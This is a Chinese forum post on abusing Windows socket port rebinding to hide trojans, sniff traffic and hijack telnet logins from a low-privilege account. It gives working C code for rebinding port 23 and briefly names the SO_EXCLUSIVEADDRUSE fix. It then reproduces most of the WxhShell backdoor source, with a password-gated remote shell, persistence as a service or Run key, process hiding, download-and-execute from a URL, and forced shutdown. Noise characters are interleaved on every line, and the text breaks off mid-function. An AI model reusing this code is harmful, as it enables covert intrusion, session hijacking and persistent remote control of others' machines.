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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =p+n(C/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s{b\\$Rb  
Jc":zR@5  
  saddr.sin_family = AF_INET; O9daeIF0#  
GDSV:]hL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8"%Es  
Q6m8N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R-%6v2;ry  
^kfqw0!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5W)ST&YPL*  
Kk^*#vR  
  这意味着什么?意味着可以进行如下的攻击: 5G355 ,}E  
j(%N.f6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  G*z\ ^H  
mx^Ga=: ?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6R45+<.  
}AS?q?4?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {+9RJmZg  
Y w0,K&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I )mB]j  
:)1"yo\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P<g(i 6]  
}{R*pmv$bN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NQ`D"n  
]5'$EAsuW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X&9: ^$m  
v+LJx    
  #include (;#c[eKy  
  #include 8>YF}\D V  
  #include 1<ag=D`F_"  
  #include    ^+x?@$rq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ET.jjV  
  int main() F*P0=DD  
  { ^;EhKG  
  WORD wVersionRequested; $Ivjcs:  
  DWORD ret; 8m") )i-  
  WSADATA wsaData; %j tUbBN  
  BOOL val; e!5} #6Kd  
  SOCKADDR_IN saddr; w(@r-2D"  
  SOCKADDR_IN scaddr; Jk*cuf `rq  
  int err; @` KYgjjH  
  SOCKET s; , ;,B7g  
  SOCKET sc; l@);U%\pS  
  int caddsize; ]s=|+tz\V  
  HANDLE mt; o-6d$c}{f  
  DWORD tid;   `<9>X9.+  
  wVersionRequested = MAKEWORD( 2, 2 ); LGt>=|=bj  
  err = WSAStartup( wVersionRequested, &wsaData ); c`<2&ke  
  if ( err != 0 ) { 3y)\dln  
  printf("error!WSAStartup failed!\n"); 2j+w5KvU  
  return -1; ~xd?y*gk;  
  } 9[/0  
  saddr.sin_family = AF_INET; k|-\[Yl.  
   6 \8d6x>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (fpz",[  
HAn{^8"@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -+"#G?g  
  saddr.sin_port = htons(23); B[Lm}B[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]LB_ @#  
  { Z8E<^<|  
  printf("error!socket failed!\n"); ~kZdep^]  
  return -1; F CYGXtc  
  } M5no4P<  
  val = TRUE; -+ByK#<%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j !*,(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [oh06_rB  
  { _^E NRk@  
  printf("error!setsockopt failed!\n"); @bg9 }Z%\h  
  return -1; ?;,;  
  } h~>1 -T8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }StzhV{GS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 akvi^]x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -+E.I*st  
EL~$7 J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IWE([<i}i[  
  { mI8EeMa{  
  ret=GetLastError(); `Na()r$T  
  printf("error!bind failed!\n"); "VZ1LVI  
  return -1; aMI;; iL^  
  } LhO\a  
  listen(s,2); 8~(xi<"e  
  while(1) ?TA7i b_  
  { XmQ ;Roe  
  caddsize = sizeof(scaddr); 5t:Zp\$+`  
  //接受连接请求 ehW[LRtq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {N~mDUoJ|  
  if(sc!=INVALID_SOCKET) kx&JY9(&#  
  { 2}&ERW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]1++$Ej  
  if(mt==NULL) )|*Qs${tF  
  { d7^ `  
  printf("Thread Creat Failed!\n"); v_zt$bf{Y  
  break; q=3>ij {v  
  } D=ej%]@iw  
  } Mqr]e#"o  
  CloseHandle(mt); P3Ql[ 2  
  } [ K?  
  closesocket(s); ;^/ruf[t  
  WSACleanup(); -`' |z+V  
  return 0; 8;gi8Y  
  }   4<[?qd 3v=  
  DWORD WINAPI ClientThread(LPVOID lpParam) N1'"7eg/  
  { ^ =C>  
  SOCKET ss = (SOCKET)lpParam; O::FB.k  
  SOCKET sc;  J#` 7!  
  unsigned char buf[4096]; 6SCjlaGW5  
  SOCKADDR_IN saddr; 2BC!,e$Z  
  long num; qlcd[Y*B  
  DWORD val; ~DD _n  
  DWORD ret; "]"0d[d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C@Wzg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I7vP*YE 7F  
  saddr.sin_family = AF_INET; N[ = I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JA4Zg*7I  
  saddr.sin_port = htons(23); i$y=tJehi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bkJ bnW=  
  { |it*w\+M  
  printf("error!socket failed!\n"); >Cr"q*  
  return -1; (GRW(Zd4  
  } ~k34#j:J65  
  val = 100; 5x@ U<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h.tj8O1  
  { tEL;,1  
  ret = GetLastError(); ]L~z9)  
  return -1; }4>u_)nt  
  } nC3+Zka  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OD'~t,St  
  { lH3.q4D 5  
  ret = GetLastError(); #)S}z+I  
  return -1; b]]k\b  
  } .!~ysy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mg\588cI  
  { #m|el@)  
  printf("error!socket connect failed!\n"); r)S:= Is5  
  closesocket(sc); I~l_ky|a !  
  closesocket(ss); ),{3LIr  
  return -1; 2M+RA}dX  
  } (~G*' /)  
  while(1) @zS/J,:v}  
  { W\[E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qt OuA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OyDoktz$)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E{6ku=2F  
  num = recv(ss,buf,4096,0); k?h{ 6Qd  
  if(num>0) `G":y[Q  
  send(sc,buf,num,0); \zJ^XpC  
  else if(num==0) sA6HkB.  
  break; ?e-rwaW  
  num = recv(sc,buf,4096,0); No\#N/1@P  
  if(num>0) (&m1*  
  send(ss,buf,num,0); )%jS9e{d  
  else if(num==0) L\ysy2E0  
  break; q[/g3D\G  
  } _dd_Z40R  
  closesocket(ss); `x=kb;  
  closesocket(sc); DQhHU1  
  return 0 ; ,;6%s>Cvd(  
  } m@nGXl'!  
Rb<| <D+  
> X  AB#  
========================================================== (NUXK  
+]t9kr  
下边附上一个代码,,WXhSHELL >kAJS??  
1%M^MT%&  
========================================================== leHKBu'd  
QqL?? p-S>  
#include "stdafx.h" ~oOv/1v},  
rKPsv*w  
#include <stdio.h> {;bec%pq0  
#include <string.h> w+rw<,u%  
#include <windows.h> '_g&!zi8~  
#include <winsock2.h> -6 v?iiZr  
#include <winsvc.h> IF>v -Z  
#include <urlmon.h> ? Zv5iI  
&/EZn xl  
#pragma comment (lib, "Ws2_32.lib") 3znhpHO)  
#pragma comment (lib, "urlmon.lib") WL% T nux  
F-Z>WC{+  
#define MAX_USER   100 // 最大客户端连接数 CWs;1`aP  
#define BUF_SOCK   200 // sock buffer ^ &KH|qRrO  
#define KEY_BUFF   255 // 输入 buffer y3*IF2G  
N cHCcc  
#define REBOOT     0   // 重启 J'cE@(US  
#define SHUTDOWN   1   // 关机 5YZ\@<|rH  
@W+8z#xr'  
#define DEF_PORT   5000 // 监听端口 21$^k5  
<\:*cET3  
#define REG_LEN     16   // 注册表键长度 ve#[LBOC8  
#define SVC_LEN     80   // NT服务名长度 dd=5`Bo9Yh  
]Gl_L7u`  
// 从dll定义API ^R\5'9K!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e /XOmv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kc9)Lzu+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o\j<EQb.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *=z.H  *  
|q o3 E  
// wxhshell配置信息 hQSJt[8My  
struct WSCFG { -eSI"To L<  
  int ws_port;         // 监听端口 6O5E4=  
  char ws_passstr[REG_LEN]; // 口令 p*P0<01Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7; }TNK\+v  
  char ws_regname[REG_LEN]; // 注册表键名 (I`< ;  
  char ws_svcname[REG_LEN]; // 服务名 u@wQ )^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bv[*jr;45  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,v| vgt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [-[|4|CnOm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YS"76FJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /? j^Qu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RmN\;G?}  
*7Sg8\wDn  
}; gp'n'K]  
gvZLW!={  
// default Wxhshell configuration Us9$,(3  
struct WSCFG wscfg={DEF_PORT, ,@gDY9Q3r/  
    "xuhuanlingzhe", .>zkS*oX4z  
    1, 4ri)%dl1  
    "Wxhshell", 9]8M {L  
    "Wxhshell", N~arxe (K  
            "WxhShell Service", r52,f%nlm  
    "Wrsky Windows CmdShell Service", uP ?gGo  
    "Please Input Your Password: ", [/t/694  
  1, !as<UH"\  
  "http://www.wrsky.com/wxhshell.exe", sEfGf.  
  "Wxhshell.exe" xcIZ'V  
    }; nuv$B >  
28+ Sz>SP  
// 消息定义模块 }Lwj~{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; **YNR:#Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RZE:WE;5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PZA;10z  
char *msg_ws_ext="\n\rExit."; $j}sxxTT  
char *msg_ws_end="\n\rQuit."; e$(i!G)  
char *msg_ws_boot="\n\rReboot..."; 7 -V_)FK2c  
char *msg_ws_poff="\n\rShutdown..."; f4T-=` SO  
char *msg_ws_down="\n\rSave to "; G@Zi3 5  
S+OI?QS  
char *msg_ws_err="\n\rErr!"; ")M.p_b[Z=  
char *msg_ws_ok="\n\rOK!"; u= +  
f{z%PI[  
char ExeFile[MAX_PATH]; {78*S R  
int nUser = 0; {K0T%.G  
HANDLE handles[MAX_USER]; ~KfjT p#  
int OsIsNt; -+I! (?  
<F.Ol/'h  
SERVICE_STATUS       serviceStatus; 7#|NQ=yd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sdt2D  
&akMj@4;R  
// 函数声明 s9:2aLZ {  
int Install(void); Y.*lO  
int Uninstall(void); Q}Vho.N@=  
int DownloadFile(char *sURL, SOCKET wsh); 7iJk0L$]x  
int Boot(int flag); .r*b+rc;]  
void HideProc(void); U ._1'pW  
int GetOsVer(void); =yNHJHRA#  
int Wxhshell(SOCKET wsl); #XY]@V\  
void TalkWithClient(void *cs); s3kEux^  
int CmdShell(SOCKET sock); {}^ELw  
int StartFromService(void); UZX)1?U  
int StartWxhshell(LPSTR lpCmdLine); +`Bn]e8O  
8"* $e I5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >%3c1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :3n.nKANr  
a@r K%Iff  
// 数据结构和表定义 D3lYy>~d5;  
SERVICE_TABLE_ENTRY DispatchTable[] = ".i{WyTt  
{ $xZk{ rK  
{wscfg.ws_svcname, NTServiceMain}, f"0H9  
{NULL, NULL} Y@\5gZ&T  
}; o%9>elOju  
-MEz`7c~  
// 自我安装 Gf]s?J^a  
int Install(void) Pd;ClMa%  
{ EIEq[`h  
  char svExeFile[MAX_PATH]; E;d 5$  
  HKEY key; tx1jBh:e=  
  strcpy(svExeFile,ExeFile); z|?R=;,u`  
Po4cbFZ  
// 如果是win9x系统,修改注册表设为自启动 |8`;55G  
if(!OsIsNt) { TgB;R5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PrKl whi#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /#se>4]  
  RegCloseKey(key); /[IQ:':^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h{xER IV1u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?-84_i  
  RegCloseKey(key); XP^6*}H.*  
  return 0; 7~Ga>BK  
    } yl ;'Ru:  
  } ,"VQ 0Z1  
} q |^O  
else { 0amz#VIB<u  
@YB\ PVhW  
// 如果是NT以上系统,安装为系统服务 k51s*U6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O({_x@  
if (schSCManager!=0) jgo@~,5R  
{ #rr-4$w+  
  SC_HANDLE schService = CreateService `pMI[pLZe  
  ( @ty|HXW  
  schSCManager, Z =c@Gd  
  wscfg.ws_svcname, >C}RZdO~  
  wscfg.ws_svcdisp, r=Q5=(hn  
  SERVICE_ALL_ACCESS, _Usg`ax-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *&0Hz{|  
  SERVICE_AUTO_START, ` j<tI6[e  
  SERVICE_ERROR_NORMAL, ?^vZ{B)&0E  
  svExeFile, f,a %@WT  
  NULL, Lb{D5k*XU  
  NULL, LG|,g3&  
  NULL, =|%T E   
  NULL, W7o/  
  NULL {|E7N"Qzg  
  ); ,h._iO)I^  
  if (schService!=0) p,8Z{mLn  
  { bN&da [K  
  CloseServiceHandle(schService); r?I(me,  
  CloseServiceHandle(schSCManager); nu<!/O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tp^'W7E  
  strcat(svExeFile,wscfg.ws_svcname); _D4}[`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S%fBt?-Cm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7dJaWD:&   
  RegCloseKey(key); k-e@G'  
  return 0; ~QcKW<bz  
    } G]1pGA;  
  } %nh'F6bNgv  
  CloseServiceHandle(schSCManager); R4(8]oUW  
} -*M:OF"Zh  
} P[K=']c  
m^.C(}  
return 1; %p60pn[(  
} jf/9]`Hf  
k#) .E X  
// 自我卸载 &zcj U+n  
int Uninstall(void) Sh6Cw4 R  
{ Vgn1I(Gj4  
  HKEY key; 1W[(+TZ&s  
g:M7/- "  
if(!OsIsNt) { b]#d04]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $@k w>2  
  RegDeleteValue(key,wscfg.ws_regname); F8Wq&X#r  
  RegCloseKey(key); 1[`<JCFClc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c7IR06E  
  RegDeleteValue(key,wscfg.ws_regname); |u;PU`^-z  
  RegCloseKey(key); %Ab_PAw  
  return 0; 6S[D"Q94  
  } PWu2;JF  
} ZG<!^tj  
} pd3&AsU  
else {  Vb 9N~v  
a4RFn\4?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b1]_e'jj  
if (schSCManager!=0) 3rg^R"&  
{ ji -1yX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fd&!-` T?  
  if (schService!=0) PZJ 4: h  
  { .b oizW1+  
  if(DeleteService(schService)!=0) { SYPMoE!U:  
  CloseServiceHandle(schService); l|em E ^  
  CloseServiceHandle(schSCManager); \q'fB?bS^  
  return 0; Z;\"pP:  
  } W? ||9  
  CloseServiceHandle(schService); S5KYZ W  
  } _l=  
  CloseServiceHandle(schSCManager); UiZp -Y%ki  
} i(iP}: 3  
} ?(8%SPRk  
y?#J`o- O  
return 1; S{T d/1}  
} jY+S,lD  
,GU/l)os`  
// 从指定url下载文件 ]UT|BE4v  
int DownloadFile(char *sURL, SOCKET wsh) !o':\hex6  
{ !gfhEz Y  
  HRESULT hr; _C,@eu"9V  
char seps[]= "/"; f\U&M,L\ '  
char *token; @[lc0_ b  
char *file; 7O{O')o!  
char myURL[MAX_PATH]; 89#0vG7m  
char myFILE[MAX_PATH]; =e8L7_;  
n o+tVm|  
strcpy(myURL,sURL); )2Ru!l#  
  token=strtok(myURL,seps); YQdX>k  
  while(token!=NULL) $YY)g$  
  { X/K)kIi  
    file=token; 'Sy *'&  
  token=strtok(NULL,seps); -Dxhq& }Y  
  } ]~S+nl yd<  
/ &D$kxz  
GetCurrentDirectory(MAX_PATH,myFILE); vSC0D7BlG  
strcat(myFILE, "\\"); OrEuQ-,i@  
strcat(myFILE, file); k5;Vl0Ho  
  send(wsh,myFILE,strlen(myFILE),0); KI@    
send(wsh,"...",3,0); xf"5<PTW</  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (2bZ]  
  if(hr==S_OK) kefv=n*]l  
return 0; I#E(r>KW*  
else Vy^yV|`v  
return 1; 3u0<v%Qi  
/dJ)TW(Ir  
} #t2UPLO~  
]ZzG!7  
// 系统电源模块 q6JW@GT  
int Boot(int flag) Xu94v{u3  
{ DwY<qNWT  
  HANDLE hToken; X0Z-1bs  
  TOKEN_PRIVILEGES tkp; -F+P;S  
O0wCb  
  if(OsIsNt) { \y H3Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  /E{dM2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4[,B;7  
    tkp.PrivilegeCount = 1; }#HTO:r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +}1hU :qW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AOlt,MNpQ  
if(flag==REBOOT) { Z\=04[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j H.Ju|nO  
  return 0; v V6Lp  
} xJ2O4ob  
else { yvoo M'R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "vOfAo]`  
  return 0; `,Y[Z  
} 0YpiHoM  
  } Yl&tkSw46  
  else { FfxX)p1t  
if(flag==REBOOT) { SQt|(r)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wL-ydMIx  
  return 0; _m7U-;G  
} grCO-S|j^  
else { (!VMnLlXRK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xa{<R+LR  
  return 0; _h1 HuL  
} MO~~=]Y'  
} ..]*Ao2  
RJRq` T|m  
return 1; ?#*  
} v=*Bb3dt  
5&<d2EG6l'  
// win9x进程隐藏模块 3cCK"kr  
void HideProc(void) @UpC{M--Wr  
{ h-La'}>?  
O[(?.9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RF4$  
  if ( hKernel != NULL ) \U!@OX.R'M  
  { S"P9Nf?9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'z-;*!A}j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L`jB)wF /J  
    FreeLibrary(hKernel); aI={,\  
  } $K?T=a;z  
)pjjW"C+  
return; lHcZi  
} WXLe,7y  
&R'w-0k_  
// 获取操作系统版本 ,l$NJt   
int GetOsVer(void) QOT)x4!)  
{ Ns.3s7&  
  OSVERSIONINFO winfo; (}{_]X|e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :vYt Mp  
  GetVersionEx(&winfo); >,>;)B@J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aJ6#=G61l  
  return 1; s-C!uq  
  else cXk6e.Uz  
  return 0; ha|@ X p  
} C{UF~  
PG6[lHmi  
// 客户端句柄模块 X(GmiH /E  
int Wxhshell(SOCKET wsl) C#Hcv*D  
{ k<YtoV  
  SOCKET wsh; 8ji^d1G,  
  struct sockaddr_in client; v}F4R $  
  DWORD myID; &gGs) $f[  
y Y>-MoF/t  
  while(nUser<MAX_USER) 1 [Sv  
{ YVB% kKv{  
  int nSize=sizeof(client); =PNdP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _{6,.TN  
  if(wsh==INVALID_SOCKET) return 1; ~LawF_]6  
I!fB1aq-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c q*p9c  
if(handles[nUser]==0) _m9~*  
  closesocket(wsh); `E3:;|  
else  2Vp>"  
  nUser++; X,RT<GNNb  
  } (TEo_BW|+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 87^:<\pp  
\npz .g^c_  
  return 0; |H ^w>mk  
} !}>eo2$r^  
F2IC$:e M  
// 关闭 socket 8yE!7$Mj  
void CloseIt(SOCKET wsh) 9?uqQ  
{ :O9P(X*  
closesocket(wsh); Mn]}s:v  
nUser--; jrm0@K+<IA  
ExitThread(0); H<`^w)?  
} 2X|CuL{]  
m_Mwg  
// 客户端请求句柄 { EA2   
void TalkWithClient(void *cs) `nT?6gy  
{ 2B HKS-J*  
W1xf2=z`)T  
  SOCKET wsh=(SOCKET)cs; i{gDW+N  
  char pwd[SVC_LEN]; ?VwK2w$&={  
  char cmd[KEY_BUFF]; `FUFK/7 w\  
char chr[1]; DVObrL)znL  
int i,j; [J~aAB  
z*6$&sS\>  
  while (nUser < MAX_USER) { ZV!R#Xv  
"@.Z#d|Y  
if(wscfg.ws_passstr) {  QTVa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3PsxOb+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d,)}+G  
  //ZeroMemory(pwd,KEY_BUFF); 0/ut:RV0  
      i=0; SK's!m:r=  
  while(i<SVC_LEN) { ?E % +}P  
x.I][(}  
  // 设置超时 aSRjFL^  
  fd_set FdRead; ^~^mR#<P$  
  struct timeval TimeOut; %VzYqj_P"  
  FD_ZERO(&FdRead); Q"A_bdg5  
  FD_SET(wsh,&FdRead); :I2H&,JT  
  TimeOut.tv_sec=8; YMi/uy  
  TimeOut.tv_usec=0; T3=(`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F4Rr26M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); );=Q] >  
Q}=fVY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 GUA&qs  
  pwd=chr[0]; ,1,&b_  
  if(chr[0]==0xd || chr[0]==0xa) { <z,+Eg  
  pwd=0; 'r~8  
  break; (FuEd11R  
  } {`a(Tl8V  
  i++; 8Bq-0=E  
    } 9 +}cE**=d  
JlUb0{8PE  
  // 如果是非法用户,关闭 socket Q*gnAi&.#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D>P;Izb  
} }@wVW))6$  
#+$ zE#je  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k=e`*LB\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {o( * f  
G(3;;F7"  
while(1) { )`^ /(YG  
byafb+x  
  ZeroMemory(cmd,KEY_BUFF); G%;kGi`m  
IAYACmlN&  
      // 自动支持客户端 telnet标准   ]a M-p@  
  j=0; ((qGh>*  
  while(j<KEY_BUFF) { vTdUuj3N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] @ufV  
  cmd[j]=chr[0]; > V8sm/M  
  if(chr[0]==0xa || chr[0]==0xd) { M;qBDT~)  
  cmd[j]=0; )Bo]=ZTJ^  
  break; gSb,s [p&+  
  } )T9~8p.  
  j++; P/G>/MD/l  
    } GLCAiSMz[  
 s'TY[  
  // 下载文件 7#ofNH J  
  if(strstr(cmd,"http://")) { "mR*7o$|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +>!V ]S  
  if(DownloadFile(cmd,wsh)) S nW7x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<H8'4>  
  else Hte[TRbM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z?4=h Sy  
  } Ls1B \Aw_  
  else { _B3zRO  
TKo<~?  
    switch(cmd[0]) { #ra*f~G  
  L!,d"wuD  
  // 帮助 2 L:$aZ  
  case '?': { W2hA-1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )&:L'N  
    break; Jld\8=  
  } BKay*!'PX  
  // 安装 h/HH Kn  
  case 'i': { >k;p.Pay%  
    if(Install()) \%TyrY+`K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \^0!|  
    else =G4u#t)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *1$    
    break; P_&p=${  
    } nM8[  
  // 卸载 A @2Bs 5F  
  case 'r': { e\D| o?v  
    if(Uninstall()) U7h(-dV   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a~opE!|m  
    else w^Ag]HZN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Hk="$6K  
    break; 8eN7VT eb  
    } \x(^]/@  
  // 显示 wxhshell 所在路径 f}iU& 3S  
  case 'p': { dw9T f^V  
    char svExeFile[MAX_PATH]; hO3 {  
    strcpy(svExeFile,"\n\r"); Wo!;K|~P  
      strcat(svExeFile,ExeFile); u h )o  
        send(wsh,svExeFile,strlen(svExeFile),0); CW p#^1F  
    break; 1'Rmg\(  
    } W:vr@e6  
  // 重启 FY4T(4#  
  case 'b': { y^R4I_* z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <( EyXV  
    if(Boot(REBOOT)) RYy,wVh}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:9 2\l  
    else { Q+'nw9:;T  
    closesocket(wsh); UV@0gdy[  
    ExitThread(0); G?xJv`"9iC  
    } Bd# TUy  
    break; |55dbL$w  
    } E7`qmn  
  // 关机 64umul  
  case 'd': { +rc SL8C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q|c|2byb  
    if(Boot(SHUTDOWN)) $gvr -~  
